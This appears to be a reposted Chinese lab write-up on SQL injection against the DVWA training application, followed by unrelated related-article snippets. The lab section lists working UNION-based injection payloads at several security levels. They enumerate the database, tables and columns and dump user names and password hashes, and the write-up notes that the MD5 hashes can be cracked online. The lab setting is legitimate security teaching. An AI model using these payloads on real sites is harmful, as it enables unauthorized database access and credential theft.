数据库——SQL注入攻击

【实验内容及要求】

一、内容:掌握SQL注入攻击的原理,掌握基本SQL注入攻击的方法,掌握防SQL注入攻击的基本措施。

二、要求:

1. DVWA环境配置

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是:Brute Force(暴力破解);Command Injection(命令行注入);CSRF(跨站请求伪造);File Inclusion(文件包含);File Upload(文件上传);Insecure CAPTCHA (不安全的验证码);SQL Injection(SQL注入);SQL Injection(Blind)(SQL盲注);XSS(Reflected)(反射型跨站脚本);XSS(Stored)(存储型跨站脚本)。在DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible,可以接触一些PHP代码审计的内容。

本实验要求在下载安装并配置好DVWA实验环境,在DVWA中创建数据库,并进行登录。

2. SQL注入

在DVWA中选择SQL injection,其难度等级分为low、medium、high和impossible。随后根据自身情况进行四种等级的SQL注入实验。

3. 亦可使用sqlmap来进行SQL注入攻击实验。

【实验平台】

【实验步骤】

一、实验环境的搭建

1.将DVWA安装包解压到如图所示相应位置,并备份修改config.inc.php.dist文件配置,然后将安装包解压。

2.更改文件夹权限,并重启apache服务。

3.登录搭建好的网站,更改配置,然后点击Create/Reset Database登录。

二、Low级别的SQL注入

判断注入点。

找闭合,输入1’报错”You have an error in your SQL syntax”;输入1’’不报错,说明闭合是单引号。

输入1’ or ’1234’=’1234,获得所有First name和Surname。

输入1’ or 1=1 order by 1 #,判断有几个字段;

输入1’ or 1=1 order by 2 #;

输入1’ or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1’ union select 1,2 #,判断回显。

爆库,输入1’ union select 1,database() #,判断使用的数据库。

爆表,输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,获得user表的列名。

输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

密码均为MD5加密,使用CMD5可进行破解。

三、Medium级别SQL注入

由于界面不允许自行输入,使用BurpSuite进行抓包。

更改为id=4 or 1=1 #&Submit=Submit可获得所有用户。

更改为id=4 order by 2 #&Submit=Submit确定列数。

更改为id=4 union select 1,2 #&Submit=Submit,判断回显。

更改为id=4 union select 1,database() #&Submit=Submit,爆库。

更改为id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  #&Submit=Submit,爆表。

更改为id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit,爆列。(其中0x7573657273为users的十六进制ascii码)

更改为id=4 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users  #&Submit=Submit,获得用户名和密码。

四、High级别SQL注入

判断注入点。

找闭合,输入1’报错”You have an error in your SQL syntax”;输入1’’不报错,说明闭合是单引号。

输入1’ or 1=1#,获得所有First name和Surname。

输入1’ or 1=1 order by 2 #,判断有几个字段;

输入1’ or 1=1 order by 3 #,说明SQL语句查询查询的表的字段数为2。

输入1’ union select 1,2 #,判断回显。

爆库,输入1’ union select 1,database() #,判断使用的数据库。

爆表,输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,获得该数据库的表名。

爆列,输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,获得user表的列名。

输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,获得用户名和密码。

五、Impossible级别

无法注入,因为Impossible级别的源码使用正则表达式过滤掉了不合法的字符。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/600835.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

leetcode算法题之递归--深度优先搜索总结

文章目录 1.全排列2.子集 1.全排列 全排列 class Solution {vector<vector<int>> ret;vector<int> path;bool check[7];//标记nums数组某个下标是否已访问&#xff0c;剪枝使用 public:vector<vector<int>> permute(vector<int>& n…

计算机组成原理 指令流水线

文章目录 指令流水线指令流水线的概念流水线性能分析流水线的吞吐率流水线的加速比流水线的效率 影响流水线的因素结构相关 (资源冲突)数据相关 (数据冲突)控制相关 (控制冲突) 流水线分类超量流水线 指令流水线 #mermaid-svg-vSsJnNqZf24LgjVK {font-family:"trebuchet m…

Linux 修改主机名称并通过主机名称访问服务器

一、命令提示符简介 当我们打开终端的时候&#xff0c;我们要输入命令的左边就是命令提示符&#xff0c;如下图&#xff0c;接下来介绍下他们分别代表什么含义 1、root 和 xhf 表示的是当前登录的用户名称。 2、node2 表示的当前的主机名称。 3、~ 表示的是当前的目录 4、# 表示…

基于缺陷模式的软件测试

基于缺陷模式的软件测试是一种常见的软件测试方法&#xff0c;旨在发现和识别软件系统中可能存在的缺陷模式。它通过分析过去的软件缺陷数据&#xff0c;构建缺陷模式库&#xff0c;并基于这些模式来设计测试用例。 该方法的基本步骤如下&#xff1a; 收集缺陷数据&#xff1a…

Python中__call__属性的使用指南详细解析

概要 在Python中&#xff0c;类可以具有许多特殊方法&#xff0c;以控制其行为。其中之一是__call__方法&#xff0c;它使一个类的实例可以像函数一样被调用。本文将深入探讨__call__方法的用途、示例和实际应用。 __call__方法的基本用法 __call__方法可以将一个类的实例作为…

【数据结构和算法】字符串解码

其他系列文章导航 Java基础合集数据结构与算法合集 设计模式合集 多线程合集 分布式合集 ES合集 文章目录 其他系列文章导航 文章目录 前言 一、题目描述 二、题解 2.1 什么情况会用到栈 2.2 方法一&#xff1a;辅助栈法 三、代码 3.1 方法一&#xff1a;辅助栈法 四…

十年磨一剑

随着不停的优化和改进&#xff0c;JRT开发已经接近尾声&#xff0c;计划过年时候低调发布JRT1.0&#xff0c;框架目标&#xff1a;只做信创下的医疗龙头而不是信创下的苟活着。 十年前&#xff0c;我从南京踏上去沈阳的火车&#xff0c;去东北参加三方协议的启航计划&#xff…

DS|图(拓扑排序和最短路径)

题目一&#xff1a;DS图 -- 图的最短路径&#xff08;无框架&#xff09; 题目描述&#xff1a; 给出一个图的邻接矩阵&#xff0c;输入顶点v&#xff0c;用迪杰斯特拉算法求顶点v到其它顶点的最短路径。 输入要求&#xff1a; 第一行输入t&#xff0c;表示有t个测试实例 …

嵌入式实时操作系统的设计与开发——启动内核

RTOS的引导模式 RTOS的引导是指将操作系统装入内存并开始执行的过程。 在嵌入式系统的实际应用中&#xff0c;针对不同应用环境&#xff0c;对时间效率和空间效率有不同的要求。 时间限制主要包括两种情况&#xff1a;系统要求快速启动和系统启动后要求程序能实时运行。空间限…

人工智能:模拟人类智慧的科技奇迹

人工智能&#xff08;Artificial Intelligence&#xff0c;简称AI&#xff09;作为一项模拟人类智慧行为的科学与技术&#xff0c;正以惊人的速度改变着我们的世界。它旨在让计算机系统具备感知、推理、学习、决策和交互等人类智慧的能力&#xff0c;成为当今科技领域的巨大突破…

SpringCloud微服务 【实用篇】| Dockerfile自定义镜像、DockerCompose

目录 一&#xff1a;Dockerfile自定义镜像 1. 镜像结构 2. Dockerfile语法 3. 构建Java项目 二&#xff1a; Docker-Compose 1. 初识DockerCompose 2. 部署微服务集群 前些天突然发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;…

Jupyter Lab | 在指定文件夹的 jupyter 中使用 conda 虚拟环境

Hi&#xff0c;大家好&#xff0c;我是源于花海。本文主要了解如何在指定文件夹的 jupyter 中使用 conda 虚拟环境&#xff0c;即在 conda 里面创建虚拟环境、将虚拟环境添加至 jupyter lab/notebook、安装软件包。 目录 一、创建虚拟环境 二、激活并进入虚拟环境 三、安装 …

OpenAI 拟每年投入 100-500 万美元,以获取新闻使用许可

最近两位媒体公司高层透露&#xff0c;OpenAI正积极与新闻出版公司进行谈判&#xff0c;提出每年投入100万至500万美元的费用&#xff0c;以获取将新闻文章用于训练大型语言模型的授权。 OpenAI目前正与大约十几家媒体公司进行谈判&#xff0c;但有报道称&#xff0c;即使对于…

【LeetCode】197. 上升的温度

表&#xff1a; Weather ------------------------ | Column Name | Type | ------------------------ | id | int | | recordDate | date | | temperature | int | ------------------------ id 是该表具有唯一值的列。 该表包含特定日期的温…

基于 Python+Django 技术栈,我开发了一款视频管理系统

学习过程中&#xff0c;遇到问题可以咨询作者 大家好&#xff0c;作为一名开发人员&#xff0c;平时比较愿意动手尝试各种有意思工具&#xff0c;因为笔者非常喜欢观看视频&#xff0c;尤其是YouTube、bilibili都是笔者非常喜欢的视频网站&#xff0c;所以想自己实现一个视频点…

Anaconda + Pytorch 超详细安装教程

Anaconda Pytorch 超详细安装教程 安装 Anaconda 略,自行百度即可 安装 Pytorch 虚拟环境 第一步 选择 env第二步 创建第三步 填写环境名称和选择 python 版本号 第四步 打开 https://pytorch.org/ 选择 pytorch 版本&#xff0c;我这里选择的是 GPU 版本 即 CUDA 11.8,也…

Unity组件开发--传送点

本组件仅实现A传送点到B传送的功能&#xff0c;是可以双向传送的&#xff0c;如果只要单向传送&#xff0c;可以另外改脚本实现&#xff1b; 先看效果&#xff1a; unity组件传送点演示 1.传送组件shader是怎么写的&#xff1a;这种效果的实现方案 shader编辑器是这样的&#…

国内代理IP推荐!

国内代理IP&#xff0c;日更新50w IP&#xff0c;全国200城市&#xff0c;可利用率高达99%。提供HTTP/HTTPS/SOCKS5协议&#xff0c;满足数据采集、爬虫业务需求。丰富的api参数选择&#xff0c;可自由选择时效地区等&#xff0c;按需求过滤重复资源。低延迟&#xff0c;提供丰…

Linux第20步_在虚拟机上安装“Visual Studio Code”

1、双击windows系统桌面上的“FileZilla Client.exe”&#xff0c;打开FTP客户端&#xff0c;点击03软件下的Visual Studio Code&#xff0c;发现code_1.50.1-1602600906_amd64。 2、点击“文件”&#xff0c;然后点击“站点管理器”&#xff0c;见下图操作&#xff1a; 3、点…

Flask 会员列表展示

感谢编程浪子师傅的源码信息分享 web/controllers/member/Member.py # -*- coding: utf-8 -*- from flask import Blueprint,request,redirect,jsonify from common.libs.Helper import ops_render,iPagination,getCurrentDate,getDictFilterField,selectFilterObj from comm…